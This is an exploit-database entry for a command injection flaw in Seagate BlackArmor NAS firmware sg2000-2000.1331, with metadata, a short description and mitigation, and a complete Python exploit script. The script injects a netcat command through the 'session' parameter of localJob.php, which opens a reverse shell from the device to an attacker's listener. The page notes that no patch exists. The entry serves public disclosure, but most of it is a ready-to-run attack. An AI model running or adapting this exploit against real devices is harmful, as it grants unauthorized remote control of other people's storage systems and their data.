header-logo
Suggest Exploit
vendor:
BlackArmor NAS sg2000-2000.1331
by:
Metin Yunus Kandemir
7,5
CVSS
HIGH
Command Injection
78
CWE
Product Name: BlackArmor NAS sg2000-2000.1331
Affected Version From: sg2000-2000.1331
Affected Version To: sg2000-2000.1331
Patch Exists: NO
Related CWE: N/A
CPE: h:seagate:blackarmor_nas_sg2000-2000.1331
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2021

Seagate BlackArmor NAS sg2000-2000.1331 – Command Injection

This exploit allows an attacker to execute arbitrary commands on the vulnerable Seagate BlackArmor NAS sg2000-2000.1331 device. The exploit is triggered by sending a specially crafted HTTP request to the localJob.php page, which contains a malicious command that is executed by the vulnerable device.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in system commands.
Source

Exploit-DB raw data:

# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
# Date: 15.07.2021
# Discovered by: Jeroen - IT Nerdbox
# Exploit Author: Metin Yunus Kandemir
# Version: sg2000-2000.1331
# Vendor Homepage: https://www.seagate.com/
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/

#!/usr/bin/python3

import requests
import sys

def exec(target, ncIp, ncPort):
    print("[!] Please check netcat listener: "+ ncPort)
    url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
    r = requests.get(url = url)
    sys.exit(1)

def main(args):
    if len(args) != 4:
        print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
        print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
        sys.exit(1)
    exec(target=args[1], ncIp=args[2], ncPort=args[3])


if __name__ == "__main__":
    main(args=sys.argv)